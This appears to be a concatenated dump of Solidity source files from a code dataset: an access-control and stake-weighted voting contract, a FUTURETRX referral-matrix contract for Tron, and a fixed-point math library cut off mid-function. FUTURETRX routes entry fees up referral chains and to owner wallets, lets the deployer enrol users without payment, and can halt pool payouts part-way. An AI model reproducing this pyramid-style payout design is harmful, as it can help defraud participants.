event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
function _checkRole(bytes32 role, address account) internal view {
if(!hasRole(role, account)) {
revert(string(abi.encodePacked("AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32))));
}
}
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from, address to, uint256 tokenId) external;
function transferFrom(address from, address to, uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
interface IStakeToken is IERC721 {
function getStakeTokenIds(address account)
external
returns (uint256[] memory);
function isHolder(address account)
external
returns (bool);
function getStakeInfo(uint256 stakeId)
external
returns (uint256, uint256, uint256);
function getEligibleStakeAmount(uint256 fromDate)
external
returns (uint256);
}
interface IStakePool is IStakeToken {
function addOperator(address account)
external;
function removeOperator(address account)
external;
function checkOperator(address account)
external
returns (bool);
function deposit(uint256 amount)
external;
function withdraw(uint256 stakeId,
uint256 amount)
external;
function depositReward(uint256 amount)
external;
}
contract MultipleVoting is Ownable, AccessControl {
using SafeMath for uint256;
using Counters for Counters.Counter;
bytes32 public constant OPERATOR_ROLE = keccak256("OPERATOR_ROLE");
Counters.Counter public pollIds;
IStakePool[] private _stakePools;
event VoteCasted(address indexed voter, uint256 pollID, uint256 vote, uint256 weight);
event PollCreated(address indexed creator, uint256 pollID, uint256 votingTimeInDays);
event PollEnded(uint256 pollID, uint256 winningOptionID);
struct Poll {
uint256 startTime; // poll start timestamp
uint256 endTime; // poll end timestamp
uint256 minimumStakeTimeInDays; // number of days that implies how long stakers should remain staked in StakePools to be able to vote
uint256 winningOptionId; // poll result, starts from 1
string description; // poll description
string[] options; // poll option string, first option string is default empty ('')
bool isEnded; // poll status
address creator; // poll creator address
address[] voters; // poll voter address array
}
struct Voter {
uint256 vote; // vote option index, `0` implies he/she did not cast vote
uint256 weight; // voter's voting weight (derived from StakePool)
}
// poll id => poll info
mapping(uint256 => Poll) private _polls;
// poll id => voter address => voter info
mapping(uint256 => mapping(address => Voter)) private _voters;
// poll id => option id => vote cast number
mapping(uint256 => mapping(uint256 => uint256)) private _votes;
constructor(address[] memory stakePools_)
{
for (uint256 i = 0; i < stakePools_.length; i++) {
require(stakePools_[i] != address(0), "MultipleVoting#constructor: STAKE_POOL_ADDRESS_INVALID");
_stakePools.push(IStakePool(stakePools_[i]));
}
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(OPERATOR_ROLE, _msgSender());
}
modifier onlyAdmin() {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "MultipleVoting#onlyAdmin: CALLER_NO_ADMIN_ROLE");
_;
}
modifier onlyOperator() {
require(hasRole(OPERATOR_ROLE, _msgSender()), "MultipleVoting#onlyOperator: CALLER_NO_OPERATOR_ROLE");
_;
}
function addOperator(address account)
public
onlyAdmin
{
require(!hasRole(OPERATOR_ROLE, account), "MultipleVoting#addOperator: ALREADY_OERATOR_ROLE");
grantRole(OPERATOR_ROLE, account);
}
function removeOperator(address account)
public
onlyAdmin
{
require(hasRole(OPERATOR_ROLE, account), "MultipleVoting#removeOperator: NO_OPERATOR_ROLE");
revokeRole(OPERATOR_ROLE, account);
}
function checkOperator(address account)
public
view
returns (bool)
{
return hasRole(OPERATOR_ROLE, account);
}
function addStakePool(address _sPool)
external
onlyOperator
{
require(_sPool != address(0), "MultipleVoting#addStakePool: STAKE_POOL_ADDRESS_INVALID");
for (uint256 i = 0; i < _stakePools.length; i++) {
require(address(_stakePools[i]) != _sPool, "MultipleVoting#addStakePool: STAKE_POOL_ADDRESS_ALREADY_FOUND");
}
_stakePools.push(IStakePool(_sPool));
}
function removeStakePool(address _sPool)
external
onlyOperator
{
bool isDeleted;
require(_sPool != address(0), "MultipleVoting#removeStakePool: STAKE_POOL_ADDRESS_INVALID");
for (uint256 i = 0; i < _stakePools.length; i++) {
if (address(_stakePools[i]) == _sPool) {
if (i != _stakePools.length - 1) {
_stakePools[i] = _stakePools[_stakePools.length - 1];
}
_stakePools.pop();
isDeleted = true;
break;
}
}
require(isDeleted, "MultipleVoting#removeStakePool: STAKE_POOL_ADDRESS_NOT_FOUND");
}
function getStakePools()
external
view
returns (address[] memory)
{
address[] memory sPoolAddrs = new address[](_stakePools.length);
for (uint256 i = 0; i < _stakePools.length; i++) {
sPoolAddrs[i] = address(_stakePools[i]);
}
return sPoolAddrs;
}
modifier validPoll(uint256 _pollId)
{
require(_pollId > 0 && _pollId <= pollIds.current(), "MultipleVoting#validPoll: POLL_ID_INVALID");
_;
}
function getPollInfo(uint256 _pollId)
public
view
validPoll(_pollId)
returns (string memory, string[] memory, uint256, uint256, uint256, bool, address, address[] memory)
{
Poll memory poll = _polls[_pollId];
return (poll.description, poll.options, poll.startTime, poll.endTime, poll.minimumStakeTimeInDays, poll.isEnded, poll.creator, poll.voters);
}
function getPollVotingInfo(uint256 _pollId)
public
view
validPoll(_pollId)
returns (uint256[] memory, uint256)
{
Poll memory poll = _polls[_pollId];
require(poll.isEnded || checkOperator(_msgSender()), "MultipleVoting#getPollVotingInfo: POLL_NOT_ENDED__CALLER_NO_OPERATOR");
uint256[] memory votes = new uint256[](poll.options.length);
for (uint256 i = 0; i < votes.length; i++) {
votes[i] = _votes[_pollId][i];
}
return (votes, poll.winningOptionId);
}
function getVoterInfo(uint256 _pollId,
address _voter)
public
view
validPoll(_pollId)
returns (uint256, uint256)
{
require(_polls[_pollId].isEnded || checkOperator(_msgSender()), "MultipleVoting#getVoterInfo: POLL_NOT_ENDED__CALLER_NO_OPERATOR");
return (_voters[_pollId][_voter].vote, _voters[_pollId][_voter].weight);
}
function createPoll(string memory _description,
string[] memory _options,
uint256 _durationTimeInDays,
uint256 _minimumStakeTimeInDays)
external
onlyOperator
returns (uint256)
{
require(bytes(_description).length > 0, "MultipleVoting#createPoll: DESCRIPTION_INVALID");
require(_options.length > 1, "MultipleVoting#createPoll: OPTIONS_INVALID");
require(_durationTimeInDays > 0, "MultipleVoting#createPoll: DURATION_TIME_INVALID");
pollIds.increment();
Poll storage poll = _polls[pollIds.current()];
poll.startTime = block.timestamp;
poll.endTime = block.timestamp.add(_durationTimeInDays.mul(1 days));
poll.minimumStakeTimeInDays = _minimumStakeTimeInDays;
poll.description = _description;
poll.options.push('');
for (uint256 i = 0; i < _options.length; i++) {
poll.options.push(_options[i]);
}
poll.creator = _msgSender();
emit PollCreated(_msgSender(), pollIds.current(),_durationTimeInDays);
return pollIds.current();
}
function endPoll(uint256 _pollId)
external
onlyOperator
validPoll(_pollId)
{
uint256 winningOptionId;
uint256 maxVotes;
Poll storage poll = _polls[_pollId];
require(block.timestamp >= poll.endTime, "MultipleVoting#endPoll: VOTING_PERIOD_NOT_EXPIRED");
require(poll.isEnded == false, "MultipleVoting#endPoll: POLL_ALREADY_ENDED");
poll.isEnded = true;
// decide winning option
for (uint256 i = 1; i < poll.options.length; i++) {
if (maxVotes < _votes[_pollId][i]) {
maxVotes = _votes[_pollId][i];
winningOptionId = i;
}
}
poll.winningOptionId = winningOptionId;
emit PollEnded(_pollId, winningOptionId);
}
function checkIfVoted(uint256 _pollId,
address _account)
public
view
validPoll(_pollId)
returns (bool)
{
return _voters[_pollId][_account].vote != 0;
}
function castVote(uint256 _pollId,
uint256 _optionId)
external
validPoll(_pollId)
{
require(_optionId > 0, "MultipleVoting#castVote: INVALID_VOTE_OPTION_ID");
Poll memory poll = _polls[_pollId];
require(poll.isEnded == false, "MultipleVoting#castVote: POLL_ALREADY_ENDED");
require(block.timestamp < poll.endTime, "MultipleVoting#castVote: VOTING_PERIOD_EXPIRED");
require(!checkIfVoted(_pollId, _msgSender()), "MultipleVoting#castVote: USER_ALREADY_VOTED");
uint256 w = getWeight(_pollId, _msgSender());
_votes[_pollId][_optionId] += w;
Voter storage voter = _voters[_pollId][_msgSender()];
voter.vote = _optionId;
voter.weight = w;
emit VoteCasted(_msgSender(), _pollId, _optionId, w);
}
function getWeight(uint256 _pollId,
address _account)
public
validPoll(_pollId)
returns (uint256)
{
require(_account != address(0), "MultipleVoting#getWeight: ACCOUNT_INVALID");
uint256 w = 0; // total weight
Poll memory poll = _polls[_pollId];
require(poll.isEnded == false, "MultipleVoting#getWeight: POLL_ALREADY_ENDED");
for (uint256 i = 0; i < _stakePools.length; i++) {
IStakePool sPool = _stakePools[i];
uint256[] memory sTokenIds = sPool.getStakeTokenIds(_account);
for (uint256 j = 0; j < sTokenIds.length; j++) {
(uint256 amount, , uint256 depositedAt) = sPool.getStakeInfo(sTokenIds[j]);
if (depositedAt < poll.startTime.sub(poll.minimumStakeTimeInDays.mul(1 days))) {
w = w.add(amount);
}
}
}
return w;
}
}
| 16,959 | 13,494 |
47532868f9afdb096deaf9f01412e1da6e2078166138cc1f69fc07cb9561d11d
| 18,433 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TE/TEWRjcFsjGEzfyKxLHyAexXD6NU1aUGN5Y_FUTURETRX.sol
| 4,531 | 17,080 |
//SourceUnit: futron.sol
pragma solidity >=0.4.23 <0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract FUTURETRX {
using SafeMath for uint256;
struct USER {
bool joined;
uint id;
address payable upline;
uint personalCount;
uint poolAchiever;
bool is_trx_pool;
bool is_ftrx_trx_pool;
uint256 originalReferrer;
mapping(uint8 => MATRIX) Matrix;
mapping(uint8 => bool) activeLevel;
}
struct MATRIX {
address payable currentReferrer;
address payable[] referrals;
}
modifier onlyDeployer() {
require(msg.sender == deployer, "Only Deployer");
_;
}
uint maxDownLimit = 2;
uint public lastIDCount = 0;
uint public LAST_LEVEL = 9;
uint public poolTime = 24 hours;
uint public nextClosingTime = now + poolTime;
uint public deployerValidation = now + 24 hours;
address[] public trxPoolUsers;
address[] public ftrxTrxPoolUsers;
mapping(address => USER) public users;
mapping(uint256 => uint256) public LevelPrice;
uint256 public trxPoolAmount = 0;
uint256 public ftrxTrxPoolAmount = 0;
uint public DirectIncomeShare = 34;
uint public MatrixIncomeShare = 1;
uint public OverRideShare = 3;
uint public OtherOverRideShare = 3;
uint public CompanyShare = 9;
mapping(uint256 => uint256) public LevelIncome;
event Registration(address userAddress, uint256 accountId, uint256 refId);
event NewUserPlace(uint256 accountId, uint256 refId, uint place, uint level);
event Direct(uint256 accountId, uint256 from_id, uint8 level, uint256 amount);
event Level(uint256 accountId, uint256 from_id, uint8 level, uint networkLevel, uint256 amount);
event Matrix(uint256 accountId, uint256 from_id, uint8 level, uint networkLevel, uint256 amount);
event PoolEnterTrx(uint256 accountId, uint256 time);
event PoolEnterftrxTrx(uint256 accountId, uint256 time);
event PoolTrxIncome(uint256 accountId, uint256 amount);
event PoolftrxTrxIncome(uint256 accountId, uint256 amount);
event PoolAmountTrx(uint256 amount);
event PoolAmountftrxTrx(uint256 amount);
address public deployer;
address payable Company;
address payable public owner;
address payable public overRide;
address payable public otherOverRide;
mapping(uint256 => address payable) public userAddressByID;
constructor(address payable owneraddress, address payable _overRide, address payable _company, address payable _otherOverRide)
public
{
owner = owneraddress;
overRide = _overRide;
Company = _company;
otherOverRide = _otherOverRide;
deployer = msg.sender;
LevelPrice[1] = 1250000000;
for (uint8 i = 2; i <= LAST_LEVEL; i++) {
LevelPrice[i] = LevelPrice[i-1] * 2;
}
LevelIncome[1] = 16;
LevelIncome[2] = 2;
LevelIncome[3] = 2;
LevelIncome[4] = 2;
LevelIncome[5] = 2;
LevelIncome[6] = 2;
LevelIncome[7] = 2;
LevelIncome[8] = 2;
LevelIncome[9] = 2;
USER memory user;
lastIDCount++;
user = USER({joined: true, id: lastIDCount, originalReferrer: 1, personalCount : 0, upline:address(0), poolAchiever : 0, is_trx_pool : false, is_ftrx_trx_pool :false});
users[owneraddress] = user;
userAddressByID[lastIDCount] = owneraddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
users[owneraddress].activeLevel[i] = true;
}
trxPoolUsers.push(owneraddress);
users[owneraddress].is_trx_pool = true;
}
function regUserDeployer(address payable userAddress, uint256 _referrerID) external onlyDeployer {
//this function is to rebind the users of old contract which is enabled only for first 24 hours only
require(deployerValidation > now, "This function is disabled!!!");
regUserInternal(userAddress, _referrerID);
}
function regUser(uint256 _referrerID) external payable {
require(msg.value == LevelPrice[1], "Incorrect Value");
regUserInternal(msg.sender, _referrerID);
}
function regUserInternal(address payable userAddress, uint256 _referrerID) internal {
uint256 originalReferrer = _referrerID;
uint8 _level = 1;
require(!users[userAddress].joined, "User exist");
require(_referrerID > 0 && _referrerID <= lastIDCount,"Incorrect referrer Id");
if (users[userAddressByID[_referrerID]].Matrix[_level].referrals.length >=maxDownLimit) {
_referrerID = users[findFreeReferrer(userAddressByID[_referrerID],_level)].id;
}
users[userAddressByID[originalReferrer]].personalCount++;
USER memory UserInfo;
lastIDCount++;
UserInfo = USER({
joined: true,
id: lastIDCount,
upline : userAddressByID[originalReferrer],
originalReferrer: originalReferrer,
personalCount:0,
poolAchiever : 0,
is_trx_pool : false,
is_ftrx_trx_pool :false
});
users[userAddress] = UserInfo;
userAddressByID[lastIDCount] = userAddress;
emit Registration(userAddress, lastIDCount, originalReferrer);
users[userAddress].Matrix[_level].currentReferrer = userAddressByID[_referrerID];
users[userAddressByID[_referrerID]].Matrix[_level].referrals.push(userAddress);
emit NewUserPlace(lastIDCount, _referrerID, users[userAddressByID[_referrerID]].Matrix[1].referrals.length, _level);
users[userAddress].activeLevel[_level] = true;
if(msg.sender != deployer){
trxPoolAmount += LevelPrice[_level] / 100 * 4;
emit PoolAmountTrx(LevelPrice[_level] / 100 * 4);
ftrxTrxPoolAmount += LevelPrice[_level] / 100 * 6;
emit PoolAmountftrxTrx(LevelPrice[_level] / 100 * 6);
Company.transfer(LevelPrice[_level] * CompanyShare / 100);
overRide.transfer(LevelPrice[_level] * OverRideShare / 100);
otherOverRide.transfer(LevelPrice[_level] * OtherOverRideShare / 100);
}
distributeDirectIncome(userAddress, _level);
levelIncomeDistribution(userAddress, _level);
matrixIncomeDistribution(userAddress, _level);
}
function buyLevelDeployer(address payable userAddress, uint8 _level) external onlyDeployer {
//this function is to rebind the users of old contract which is enabled only for first 24 hours only
require(deployerValidation > now, "This function is disabled!!!");
buyLevelInternal(userAddress, _level);
}
function buyLevel(uint8 _level) public payable {
require(msg.value == LevelPrice[_level], "Incorrect Value");
buyLevelInternal(msg.sender, _level);
}
function buyLevelInternal(address payable userAddress, uint8 _level) internal {
require(users[userAddress].joined, "User Not");
require(_level > 1 && _level <= LAST_LEVEL, "Incorrect Level");
require(!users[userAddress].activeLevel[_level], "Already active");
require(users[userAddress].activeLevel[_level - 1], "Previous Level");
uint256 _referrerID = findFreeActiveReferrer(userAddress, _level);
if (users[userAddressByID[_referrerID]].Matrix[_level].referrals.length >=maxDownLimit) {
_referrerID = users[findFreeReferrer(userAddressByID[_referrerID],_level)].id;
}
users[userAddress].Matrix[_level].currentReferrer = userAddressByID[_referrerID];
users[userAddressByID[_referrerID]].Matrix[_level].referrals.push(userAddress);
emit NewUserPlace(users[userAddress].id, _referrerID, users[userAddressByID[_referrerID]].Matrix[_level].referrals.length, _level);
users[userAddress].activeLevel[_level] = true;
if(msg.sender != deployer) {
trxPoolAmount += LevelPrice[_level] / 100 * 4;
emit PoolAmountTrx(LevelPrice[_level] / 100 * 4);
ftrxTrxPoolAmount += LevelPrice[_level] / 100 * 6;
emit PoolAmountftrxTrx(LevelPrice[_level] / 100 * 6);
Company.transfer(LevelPrice[_level] * CompanyShare / 100);
overRide.transfer(LevelPrice[_level] * OverRideShare / 100);
otherOverRide.transfer(LevelPrice[_level] * OtherOverRideShare / 100);
}
distributeDirectIncome(userAddress, _level);
levelIncomeDistribution(userAddress, _level);
matrixIncomeDistribution(userAddress, _level);
if(_level == LAST_LEVEL) {
emit PoolEnterTrx(users[userAddress].id, now);
users[userAddress].is_trx_pool = true;
trxPoolUsers.push(userAddress);
users[users[userAddress].upline].poolAchiever++;
if(users[users[userAddress].upline].is_ftrx_trx_pool == false) {
if(users[users[userAddress].upline].poolAchiever >= 2 && users[users[userAddress].upline].is_trx_pool == true){
emit PoolEnterftrxTrx(users[userAddress].originalReferrer, now);
users[users[userAddress].upline].is_ftrx_trx_pool = true;
ftrxTrxPoolUsers.push(users[userAddress].upline);
}
}
if(users[userAddress].is_ftrx_trx_pool == false) {
if(users[userAddress].poolAchiever >= 2) {
emit PoolEnterftrxTrx(users[userAddress].originalReferrer, now);
users[userAddress].is_ftrx_trx_pool = true;
ftrxTrxPoolUsers.push(userAddress);
}
}
}
}
function distributeDirectIncome(address _user, uint8 _level) internal {
uint256 income = LevelPrice[_level] * DirectIncomeShare / 100;
if(users[_user].upline != address(0)) {
emit Direct(users[_user].originalReferrer,users[_user].id, _level, income);
if(msg.sender != deployer){
(users[_user].upline).transfer(income);
}
}
}
function levelIncomeDistribution(address _user, uint8 _level) internal {
address payable _upline = users[_user].upline;
for(uint8 i = 1; i <= 9; i++) {
uint256 income = LevelPrice[_level] * LevelIncome[i] / 100;
if(_upline != address(0)) {
emit Level(users[_upline].id, users[_user].id, _level, i, income);
if(msg.sender != deployer){
if(!address(uint160(_upline)).send(income)) {
address(uint160(_upline)).transfer(income);
}
}
_upline = users[_upline].upline;
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
ftrxTrxPoolAmount += income / 2;
emit PoolAmountftrxTrx(income / 2);
}
}
}
}
function matrixIncomeDistribution(address _user, uint8 _level) internal {
address payable _upline = users[_user].Matrix[_level].currentReferrer;
for(uint8 i = 1; i <= 9; i++) {
uint256 income = LevelPrice[_level] * MatrixIncomeShare / 100;
if(_upline != address(0)) {
if(users[_upline].activeLevel[i] == true) {
emit Matrix(users[_upline].id, users[_user].id, _level, i, income);
if(msg.sender != deployer){
if(!address(uint160(_upline)).send(income)) {
address(uint160(_upline)).transfer(income);
}
}
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
ftrxTrxPoolAmount += income / 2;
emit PoolAmountftrxTrx(income / 2);
}
}
_upline = users[_upline].Matrix[_level].currentReferrer;
}
else {
if(msg.sender != deployer){
trxPoolAmount += income / 2;
emit PoolAmountTrx(income / 2);
ftrxTrxPoolAmount += income / 2;
emit PoolAmountftrxTrx(income / 2);
}
}
}
}
function findFreeActiveReferrer(address userAddress, uint8 level) internal view returns(uint256) {
while (true) {
if (users[users[userAddress].upline].activeLevel[level] == true) {
return users[users[userAddress].upline].id;
}
userAddress = users[userAddress].upline;
}
}
function poolClosing(uint pool) public onlyDeployer {
require(now > nextClosingTime, "Closing Time not came yet!!!");
if(now > nextClosingTime){
if(pool == 1) {
if(trxPoolAmount > 0) {
uint256 perUserAmount = trxPoolAmount / trxPoolUsers.length;
for(uint i = 0; i < trxPoolUsers.length; i++) {
address userAddress = trxPoolUsers[i];
emit PoolTrxIncome(users[userAddress].id, perUserAmount);
if(!address(uint160(userAddress)).send(perUserAmount)){
return address(uint160(userAddress)).transfer(perUserAmount);
}
}
trxPoolAmount = 0;
}
}
if(pool == 2) {
if(ftrxTrxPoolAmount > 0) {
uint256 perUserAmount = ftrxTrxPoolAmount / ftrxTrxPoolUsers.length;
for(uint i = 0; i < ftrxTrxPoolUsers.length; i++) {
address userAddress = ftrxTrxPoolUsers[i];
emit PoolftrxTrxIncome(users[userAddress].id, perUserAmount);
if(!address(uint160(userAddress)).send(perUserAmount)){
return address(uint160(userAddress)).transfer(perUserAmount);
}
}
ftrxTrxPoolAmount = 0;
}
nextClosingTime = now.add(poolTime);
}
}
}
function findFreeReferrer(address _user, uint8 _level) internal view returns(address) {
if(users[_user].Matrix[_level].referrals.length < maxDownLimit){
return _user;
}
address[] memory referrals = new address[](2046);
referrals[0] = users[_user].Matrix[_level].referrals[0];
referrals[1] = users[_user].Matrix[_level].referrals[1];
address freeReferrer;
bool noFreeReferrer = true;
for(uint i =0; i<2046;i++){
if(users[referrals[i]].Matrix[_level].referrals.length == maxDownLimit){
if(i<1022){
referrals[(i+1)*2] = users[referrals[i]].Matrix[_level].referrals[0];
referrals[(i+1)*2+1] = users[referrals[i]].Matrix[_level].referrals[1];
}
}else{
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, 'No Free Referrer');
return freeReferrer;
}
function getMatrix(address userAddress, uint8 level)
public
view
returns (address payable,
address payable[] memory)
{
return (users[userAddress].Matrix[level].currentReferrer,
users[userAddress].Matrix[level].referrals);
}
function getPendingTimeForNextClosing() public view returns(uint) {
uint remainingTimeForPayout = 0;
if(nextClosingTime >= now) {
remainingTimeForPayout = nextClosingTime.sub(now);
}
return remainingTimeForPayout;
}
}
| 291,822 | 13,495 |
fd2222482a2fb443c1a3ce3146ffe5e8035b0b98ea0a53d367ab877a111f3d47
| 9,115 |
.sol
|
Solidity
| false |
555062199
|
0xClandestine/tiny-bonds
|
54647c939b90e5af8aebae0258d3575e206b755f
|
lib/solbase/src/utils/SignedWadMath.sol
| 4,044 | 8,958 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @notice Signed 18 decimal fixed point (wad) arithmetic library.
/// @author SolDAO (https://github.com/Sol-DAO/solbase/blob/main/src/utils/SignedWadMath.sol)
/// @dev Will not revert on overflow, only use where overflow is not possible.
function toWadUnsafe(uint256 x) pure returns (int256 r) {
assembly {
// Multiply x by 1e18.
r := mul(x, 1000000000000000000)
}
}
/// @dev Takes an integer amount of seconds and converts it to a wad amount of days.
/// @dev Will not revert on overflow, only use where overflow is not possible.
/// @dev Not meant for negative second amounts, it assumes x is positive.
function toDaysWadUnsafe(uint256 x) pure returns (int256 r) {
assembly {
// Multiply x by 1e18 and then divide it by 86400.
r := div(mul(x, 1000000000000000000), 86400)
}
}
/// @dev Takes a wad amount of days and converts it to an integer amount of seconds.
/// @dev Will not revert on overflow, only use where overflow is not possible.
/// @dev Not meant for negative day amounts, it assumes x is positive.
function fromDaysWadUnsafe(int256 x) pure returns (uint256 r) {
assembly {
// Multiply x by 86400 and then divide it by 1e18.
r := div(mul(x, 86400), 1000000000000000000)
}
}
/// @dev Will not revert on overflow, only use where overflow is not possible.
function unsafeWadMul(int256 x, int256 y) pure returns (int256 r) {
assembly {
// Multiply x by y and divide by 1e18.
r := sdiv(mul(x, y), 1000000000000000000)
}
}
/// @dev Will return 0 instead of reverting if y is zero and will
/// not revert on overflow, only use where overflow is not possible.
function unsafeWadDiv(int256 x, int256 y) pure returns (int256 r) {
assembly {
// Multiply x by 1e18 and divide it by y.
r := sdiv(mul(x, 1000000000000000000), y)
}
}
function wadMul(int256 x, int256 y) pure returns (int256 r) {
assembly {
// Store x * y in r for now.
r := mul(x, y)
// Equivalent to require(x == 0 || (x * y) / x == y)
if iszero(or(iszero(x), eq(sdiv(r, x), y))) {
revert(0, 0)
}
// Scale the result down by 1e18.
r := sdiv(r, 1000000000000000000)
}
}
function wadDiv(int256 x, int256 y) pure returns (int256 r) {
assembly {
// Store x * 1e18 in r for now.
r := mul(x, 1000000000000000000)
// Equivalent to require(y != 0 && ((x * 1e18) / 1e18 == x))
if iszero(and(iszero(iszero(y)), eq(sdiv(r, 1000000000000000000), x))) {
revert(0, 0)
}
// Divide r by y.
r := sdiv(r, y)
}
}
function wadExp(int256 x) pure returns (int256 r) {
unchecked {
// When the result is < 0.5 we return zero. This happens when
// x <= floor(log(0.5e18) * 1e18) ~ -42e18
if (x <= -42139678854452767551) return 0;
// When the result is > (2**255 - 1) / 1e18 we can not represent it as an
// int. This happens when x >= floor(log((2**255 - 1) / 1e18) * 1e18) ~ 135.
if (x >= 135305999368893231589) revert("EXP_OVERFLOW");
// x is now in the range (-42, 136) * 1e18. Convert to (-42, 136) * 2**96
// for more intermediate precision and a binary basis. This base conversion
// is a multiplication by 1e18 / 2**96 = 5**18 / 2**78.
x = (x << 78) / 5**18;
// Reduce range of x to (- ln 2, ln 2) * 2**96 by factoring out powers
// of two such that exp(x) = exp(x') * 2**k, where k is an integer.
// Solving this gives k = round(x / log(2)) and x' = x - k * log(2).
int256 k = ((x << 96) / 54916777467707473351141471128 + 2**95) >> 96;
x = x - k * 54916777467707473351141471128;
// k is in the range [-61, 195].
// Evaluate using a (6, 7)-term rational approximation.
// p is made monic, we'll multiply by a scale factor later.
int256 y = x + 1346386616545796478920950773328;
y = ((y * x) >> 96) + 57155421227552351082224309758442;
int256 p = y + x - 94201549194550492254356042504812;
p = ((p * y) >> 96) + 28719021644029726153956944680412240;
p = p * x + (4385272521454847904659076985693276 << 96);
// We leave p in 2**192 basis so we don't need to scale it back up for the division.
int256 q = x - 2855989394907223263936484059900;
